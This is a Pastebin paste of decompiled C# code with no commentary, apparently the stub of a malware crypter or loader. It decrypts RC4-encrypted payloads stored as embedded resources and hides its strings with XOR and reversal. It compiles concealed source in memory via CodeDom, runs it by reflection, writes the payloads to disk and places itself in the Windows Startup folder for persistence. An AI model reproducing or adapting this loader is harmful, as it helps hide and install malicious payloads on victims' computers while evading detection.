Advertisement
eminergutt

Untitled

May 13th, 2017
11,490
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 6.35 KB | None | 0 0
  1. using Microsoft.VisualBasic;
  2. using Microsoft.VisualBasic.CompilerServices;
  3. using System;
  4. using System.CodeDom.Compiler;
  5. using System.IO;
  6. using System.Reflection;
  7. using System.Resources;
  8. using System.Text;
  9. using System.Windows.Forms;
  10.  
  11. public class A
  12. {
  13.     private static string StrPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + A.StringE("65", "f9ff01acad04452fa8356c090777e2c7") + Path.GetFileName(Application.ExecutablePath);
  14.  
  15.     private static string[] Arry;
  16.  
  17.     private static CompilerResults CRS;
  18.  
  19.     private static CompilerParameters PR = new CompilerParameters();
  20.  
  21.     private static CodeDomProvider CI;
  22.  
  23.     [STAThread]
  24.     public static void Main()
  25.     {
  26.         Assembly assembly = Assembly.LoadFile(Application.ExecutablePath);
  27.         ResourceManager resourceManager = new ResourceManager("A", assembly);
  28.         object right;
  29.         string text = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Interaction.Environ(A.Reverser(Conversions.ToString(resourceManager.GetObject("X")))) + A.Reverser(Conversions.ToString(resourceManager.GetObject("J"))), right), A.StringE("1C5C4B07", "c293bb684c0f4ca8bdf7364efcc6f11e")));
  30.         try
  31.         {
  32.             byte[] array = A.ENC(Conversions.ToString(resourceManager.GetObject("Z0")), Conversions.ToString(resourceManager.GetObject("K")));
  33.             A.LoadMethod("IIN", "C", A.CC(A.Reverser(Conversions.ToString(resourceManager.GetObject("NV")))), new object[]
  34.             {
  35.                 array
  36.             });
  37.             int num = Conversions.ToInteger(resourceManager.GetObject("i"));
  38.             if (num != 1)
  39.             {
  40.                 int arg_F0_0 = 0;
  41.                 int num2 = num - 1;
  42.                 for (int i = arg_F0_0; i <= num2; i++)
  43.                 {
  44.                     string text2 = Interaction.Environ(A.Reverser(Conversions.ToString(resourceManager.GetObject("X")))) + A.Reverser(Conversions.ToString(resourceManager.GetObject("J")));
  45.                     int num3 = 70;
  46.                     if (i == 0)
  47.                     {
  48.                         text2 = Conversions.ToString(Operators.ConcatenateObject(text2, resourceManager.GetObject(Conversions.ToString(Strings.Chr(num3)) + Conversions.ToString(Strings.Chr(num3)))));
  49.                     }
  50.                     else if (i == 1)
  51.                     {
  52.                         text2 = Conversions.ToString(Operators.ConcatenateObject(text2, resourceManager.GetObject(Conversions.ToString(Strings.Chr(num3 + 13)) + Conversions.ToString(Strings.Chr(num3 + 13)))));
  53.                     }
  54.                     else if (i == 2)
  55.                     {
  56.                         text2 = Conversions.ToString(Operators.ConcatenateObject(text2, resourceManager.GetObject(Conversions.ToString(Strings.Chr(num3 + 14)) + Conversions.ToString(Strings.Chr(num3 + 14)))));
  57.                     }
  58.                     else if (i == 3)
  59.                     {
  60.                         text2 = Conversions.ToString(Operators.ConcatenateObject(text2, resourceManager.GetObject(Conversions.ToString(Strings.Chr(num3 + 15)) + Conversions.ToString(Strings.Chr(num3 + 15)))));
  61.                     }
  62.                     array = A.ENC(Conversions.ToString(resourceManager.GetObject("Z" + Conversions.ToString(i + 1))), Conversions.ToString(resourceManager.GetObject("K")));
  63.                     A.LoadMethod("C", "T", A.CC(A.Reverser(Conversions.ToString(resourceManager.GetObject("L")))), new object[]
  64.                     {
  65.                         text2,
  66.                         array
  67.                     });
  68.                     if (Operators.CompareString(A.StrPath, Application.ExecutablePath, false) != 0)
  69.                     {
  70.                         A.LoadMethod("S", "SS", A.CC(A.Reverser(Conversions.ToString(resourceManager.GetObject("Y")))), new object[]
  71.                         {
  72.                             text2
  73.                         });
  74.                     }
  75.                 }
  76.             }
  77.         }
  78.         catch (Exception expr_2F7)
  79.         {
  80.             ProjectData.SetProjectError(expr_2F7);
  81.             ProjectData.ClearProjectError();
  82.         }
  83.     }
  84.  
  85.     public static string Reverser(string s)
  86.     {
  87.         s = s.Replace('#', 'e');
  88.         s = s.Replace(Strings.Chr(195), 'a');
  89.         s = s.Replace(Strings.Chr(200), 'i');
  90.         char[] array = s.ToCharArray();
  91.         Array.Reverse(array);
  92.         return new string(array);
  93.     }
  94.  
  95.     public static byte[] ENC(string bytes, string key)
  96.     {
  97.         byte[] bytes2 = Encoding.Default.GetBytes(bytes);
  98.         byte[] bytes3 = Encoding.Default.GetBytes(key);
  99.         byte[] array = new byte[256];
  100.         int arg_2E_0 = 0;
  101.         int num = array.Length - 1;
  102.         int i;
  103.         for (i = arg_2E_0; i <= num; i++)
  104.         {
  105.             array[i] = (byte)i;
  106.         }
  107.         int arg_49_0 = 0;
  108.         int num2 = array.Length - 1;
  109.         int num3;
  110.         for (i = arg_49_0; i <= num2; i++)
  111.         {
  112.             num3 = (num3 + (int)bytes3[i % bytes3.Length] + (int)array[i] & 255);
  113.             byte b = array[i];
  114.             array[i] = array[num3];
  115.             array[num3] = b;
  116.         }
  117.         i = 0;
  118.         num3 = 0;
  119.         byte[] array2 = new byte[bytes2.Length - 1 + 1];
  120.         int arg_9A_0 = 0;
  121.         int num4 = bytes2.Length - 1;
  122.         for (int j = arg_9A_0; j <= num4; j++)
  123.         {
  124.             i = (i + 1 & 255);
  125.             num3 = (num3 + (int)array[i] & 255);
  126.             byte b2 = array[i];
  127.             array[i] = array[num3];
  128.             array[num3] = b2;
  129.             array2[j] = (array[(int)(array[i] + array[num3] & 255)] ^ bytes2[j]);
  130.         }
  131.         return array2;
  132.     }
  133.  
  134.     public static string StringE(string Input, string Pass)
  135.     {
  136.         string text = null;
  137.         string str = "&H ";
  138.         long arg_27_0 = 1L;
  139.         long num = (long)Math.Round((double)Strings.Len(Input) / 2.0);
  140.         for (long num2 = arg_27_0; num2 <= num; num2 += 1L)
  141.         {
  142.             int num3 = (int)Math.Round(Conversion.Val(str + Strings.Mid(Input, (int)(2L * num2 - 1L), 2)));
  143.             int num4 = Strings.Asc(Strings.Mid(Pass, (int)(num2 % (long)Strings.Len(Pass) + 1L), 1));
  144.             text += Conversions.ToString(Strings.Chr(num3 ^ num4));
  145.         }
  146.         return text;
  147.     }
  148.  
  149.     private static bool LoadMethod(string Class, string Void, Assembly file, object[] Parameters)
  150.     {
  151.         bool result;
  152.         try
  153.         {
  154.             Type type = file.GetType(Class);
  155.             if (type != null)
  156.             {
  157.                 MethodInfo method = type.GetMethod(Void);
  158.                 if (method != null)
  159.                 {
  160.                     result = Conversions.ToBoolean(method.Invoke(null, Parameters));
  161.                 }
  162.             }
  163.         }
  164.         catch (Exception expr_28)
  165.         {
  166.             ProjectData.SetProjectError(expr_28);
  167.             ProjectData.ClearProjectError();
  168.         }
  169.         return result;
  170.     }
  171.  
  172.     public static Assembly CC(string Source)
  173.     {
  174.         A.Arry = new string[]
  175.         {
  176.             A.StringE("746750031412", "f748bfbd18184c6c91761bcb3a2761ad"),
  177.             A.StringE("354B464D045917065D5B", "cf259a49b1734f168dc5a04f93bc8c81"),
  178.             A.StringE("16420F514D5E0E405D5F480C501417140840555E57", "f92c098a20e04f48af3482e7148d8e05")
  179.         };
  180.         A.CI = CodeDomProvider.CreateProvider(A.Arry[0]);
  181.         A.Para();
  182.         A.CRS = A.CI.CompileAssemblyFromSource(A.PR, new string[]
  183.         {
  184.             Source
  185.         });
  186.         return A.CRS.CompiledAssembly;
  187.     }
  188.  
  189.     public static void Para()
  190.     {
  191.         A.PR.GenerateExecutable = false;
  192.         A.PR.GenerateInMemory = true;
  193.         A.PR.ReferencedAssemblies.Add(A.Arry[1]);
  194.         A.PR.CompilerOptions = A.Arry[2];
  195.         A.PR.TreatWarningsAsErrors = false;
  196.     }
  197. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement